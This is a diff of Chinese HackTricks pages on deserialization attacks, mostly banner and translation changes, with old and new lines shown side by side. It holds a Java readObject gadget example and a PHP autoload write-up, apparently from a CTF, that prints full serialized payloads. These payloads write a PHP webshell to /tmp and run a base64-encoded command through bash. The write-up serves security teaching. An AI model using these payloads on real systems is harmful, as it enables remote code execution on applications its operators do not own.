* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# SS-Leaks # SS-Leaks
<details> {% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> 学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
**查看帖子[https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**查看帖子 [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
在这篇文章中,将通过使用`java.io.Serializable`来解释一个示例。 在这篇文章中,将解释一个使用 `java.io.Serializable`示例。
# Serializable # Serializable
Java `Serializable`接口(`java.io.Serializable`是一个标记接口,如果要对类进行**序列化**和**反序列化**则必须实现该接口。Java对象序列化写入使用[ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html),反序列化(读取)使用[ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html)。 Java `Serializable` 接口(`java.io.Serializable` 是一个标记接口,您的类必须实现它才能被 **序列化****反序列化**。Java 对象序列化(写入)是通过 [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) 完成的,反序列化(读取)是通过 [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html) 完成的
让我们看一个具有**可序列化**的**Person类**的示例。该类**重写了readObject**函数,因此当**该类**的**任何对象**被**反序列化**时,将执行此**函数**。\ 让我们看一个 **可序列化的类 Person** 的示例。这个类 **重写了 readObject** 函数,因此当 **这个类的任何对象****反序列化** 时,这个 **函数** 将会被 **执行**。\
示例中Person类的**readObject函数**调用其宠物的`eat()`函数而Dog的`eat()`函数(出于某种原因)调用**calc.exe**。**我们将看到如何将Person对象序列化和反序列化以执行此计算器:** 这个示例中,类 Person 的 **readObject 函数** 调用了它的宠物的 `eat()` 函数,而狗的 `eat()` 函数(出于某种原因)调用了 **calc.exe**。**我们将看到如何序列化和反序列化一个 Person 对象以执行这个计算器:**
**以下示例来自[https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)** **以下示例来自 [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
```java ```java
import java.io.Serializable; import java.io.Serializable;
import java.io.*; import java.io.*;
@ -95,19 +96,19 @@ payloadTest("test.ser");
``` ```
## 结论 ## 结论
正如您在这个非常基本的例中所看到的,这里的“漏洞”出现是因为**readObject**函数在**调用其他易受攻击的函数**。 正如您在这个非常基本的例中所看到的,这里的“漏洞”出现是因为**readObject**函数在**调用其他易受攻击的函数**。
{% hint style="success" %}
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,15 +1,31 @@
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家[**NFTs**]收藏品,[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**查看来自** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) **的精彩文章** **查看来自** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) **的精彩文章**
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,32 +1,34 @@
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
查看这些文章 查看帖子
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) * [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/) * [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# PHP - 反序列化 + 自动加载类 # PHP - 反序列化 + 自动加载类
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}
首先,您应该查什么是[**自动加载类**](https://www.php.net/manual/en/language.oop5.autoload.php)。 首先,您应该查什么是 [**自动加载类**](https://www.php.net/manual/en/language.oop5.autoload.php)。
## PHP 反序列化 + spl\_autoload\_register + LFI/Gadget ## PHP 反序列化 + spl\_autoload\_register + LFI/小工具
我们处于这样一种情况:我们在一个**Web 应用程序中发现了 PHP 反序列化漏洞**,但**没有**受到 **`phpggc`** 内部的 gadget 影响。然而,在同一个容器中有一个**不同的 composer Web 应用程序,其中存在受漏洞影响的库**。因此,目标是**加载另一个 Web 应用程序的 composer 加载器**,并利用它来**加载一个 gadget该 gadget 将利用受反序列化漏洞影响的 Web 应用程序中的库** 我们处于一种情况,发现了一个 **webapp 中的 PHP 反序列化**,并且 **没有** 库在 **`phpggc`** 中易受小工具攻击。然而,在同一个容器中有一个 **不同的 composer webapp具有易受攻击的库**。因此,目标是 **加载另一个 webapp 的 composer 加载器**,并利用它 **加载一个将利用该库的小工具**,该小工具来自易受反序列化攻击的 webapp
步骤: 步骤:
* 您已经发现了一个**反序列化漏洞**,当前应用程序代码中**没有任何 gadget** * 您发现了一个 **反序列化**,并且 **当前应用代码中没有任何小工具**
* 您可以滥用**`spl_autoload_register`**函数,如下所示,以**加载任何具有 `.php` 扩展名的本地文件** * 您可以利用 **`spl_autoload_register`** 函数,如下所示,**加载任何本地文件,扩展名为 `.php`**
* 为此,您使用一个反序列化,其中类的名称将在**`$name`**中。您**不能在序列化对象的类名中使用 "/" 或 "."**,但**代码**正在**将下划线**"\_"**替换为斜杠**"/")。因此,类名如 `tmp_passwd` 将被转换为 `/tmp/passwd.php`,并且代码将尝试加载它。\ * 为此,您使用一个反序列化,其中类的名称将位于 **`$name`** 中。您 **不能在序列化对象的类名中使用 "/" 或 "."**,但是 **代码** 正在 **将下划线** ("\_") **替换为斜杠** ("/")。因此,像 `tmp_passwd` 这样的类名将被转换为 `/tmp/passwd.php`代码将尝试加载它。\
一个**gadget 示例**将是:**`O:10:"tmp_passwd":0:{}`** 一个 **小工具示例** 将是:**`O:10:"tmp_passwd":0:{}`**
```php ```php
spl_autoload_register(function ($name) { spl_autoload_register(function ($name) {
@ -48,32 +49,51 @@ require __DIR__ . $filename;
}); });
``` ```
{% hint style="success" %} {% hint style="success" %}
如果您有一个**文件上传**并且可以上传一个带有**`.php`扩展名**的文件,您可以直接**滥用此功能**并获得RCE。 如果你有一个 **文件上传** 并且可以上传一个 **`.php` 扩展名** 的文件,你可以 **直接利用这个功能** 并获得 RCE。
{% endhint %} {% endhint %}
在我的情况下,我没有类似的东西,但在**同一个容器**中有另一个使用**易受`phpggc`小工具攻击的库**的composer网页 在我的情况下,我没有这样的东西,但在 **同一个容器** 内有另一个 composer 网页,里面有一个 **易受攻击的 `phpggc` 小工具**
* 要加载这个其他库,首先您需要**加载另一个Web应用程序的composer加载器**(因为当前应用程序的加载器无法访问另一个应用程序的库)。**知道应用程序的路径**后,您可以很容易地实现这一点:**`O:28:"www_frontend_vendor_autoload":0:{}`**在我的情况下composer加载器位于`/www/frontend/vendor/autoload.php`中 * 要加载这个其他库,首先你需要 **加载那个其他 web 应用的 composer 加载器**(因为当前应用的加载器无法访问另一个的库。) **知道应用的路径**,你可以很容易地实现这一点:**`O:28:"www_frontend_vendor_autoload":0:{}`**在我的情况下composer 加载器在 `/www/frontend/vendor/autoload.php`
* 现在,您可以**加载**其他**应用程序的composer加载器**,所以现在是**生成phpggc负载**的时候了。在我的情况下,我使用了**`Guzzle/FW1`**,它允许我**在文件系统中写入任何文件** * 现在,你可以 **加载** 其他 **应用的 composer 加载器**,所以是时候 **`生成 phpgcc`** **有效载荷** 来使用。在我的情况下,我使用了 **`Guzzle/FW1`**,这让我可以 **在文件系统内写入任何文件**
* 注意:**生成的小工具无法正常工作**,为了使其正常工作,我**修改了** phpggc 的**`chain.php`**负载,并将类的所有属性**从私有更改为公共**。否则,在反序列化字符串后,创建的对象的属性将没有任何值。 * 注意:**生成的小工具没有工作**,为了使其工作,我 **修改** 了那个有效载荷 **`chain.php`** 的 phpggc并将 **所有属性** 的类 **从私有改为公共**。如果不这样做,反序列化字符串后,创建的对象的属性将没有任何值。
* 现在我们有了**加载其他应用程序的composer加载器的方法**并且有一个**有效的phpggc负载**,但我们需要**在同一个请求中执行此操作,以便在使用小工具时加载加载器**。为此,我发送了一个包含两个对象的序列化数组,如下所示: * 现在我们有办法 **加载其他应用的 composer 加载器** 并且有一个 **有效的 phpggc 有效载荷**,但我们需要 **在同一个请求中执行此操作,以便在使用小工具时加载加载器**。为此,我发送了一个序列化数组,包含两个对象,如下所示:
* 您可以**首先看到加载器被加载,然后是负载** * 你可以看到 **首先加载加载器,然后是有效载荷**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```php ```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
``` ```
* 现在,我们可以**创建和写入文件**,但是用户**无法在Web服务器内的任何文件夹中写入**。因此如您在有效载荷中所见PHP调用**`system`**并使用一些**base64**创建在**`/tmp/a.php`**中。然后,我们可以**重用我们用作LFI的第一种有效载荷**来加载其他web应用程序的composer加载程序以**加载生成的`/tmp/a.php`**文件。只需将其添加到反序列化小工具中:&#x20; {% endcode %}
* 现在,我们可以**创建和写入文件**,但是用户**无法在web服务器的任何文件夹中写入**。因此如您在有效负载中所见PHP调用**`system`**并在**`/tmp/a.php`**中创建了一些**base64**。然后,我们可以**重用我们用于LFI的第一种有效负载**来加载另一个web应用程序的composer加载器**以加载生成的`/tmp/a.php`**文件。只需将其添加到反序列化小工具中:&#x20;
{% code overflow="wrap" %}
```php ```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}} a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
``` ```
{% endcode %} {% endcode %}
**负载摘要** **有效载荷摘要**
* **加载同一容器中不同web应用的composer自动加载** * **加载同一容器中不同webapp的composer自动加载**
* **加载一个phpggc小工具**以滥用另一个web应用的库最初易受反序列化攻击的web应用没有任何库中的小工具) * **加载phpggc小工具**以利用其他webapp的库最初易受反序列化攻击的webapp的库中没有任何小工具)
* 该小工具将在/tmp/a.php中创建一个带有恶意命令的PHP负载文件web应用用户无法在任何web应用的文件夹中写入) * 小工具将**在/tmp/a.php中创建一个包含PHP有效载荷**的文件里面有恶意命令webapp用户无法在任何webapp的任何文件夹中写入)
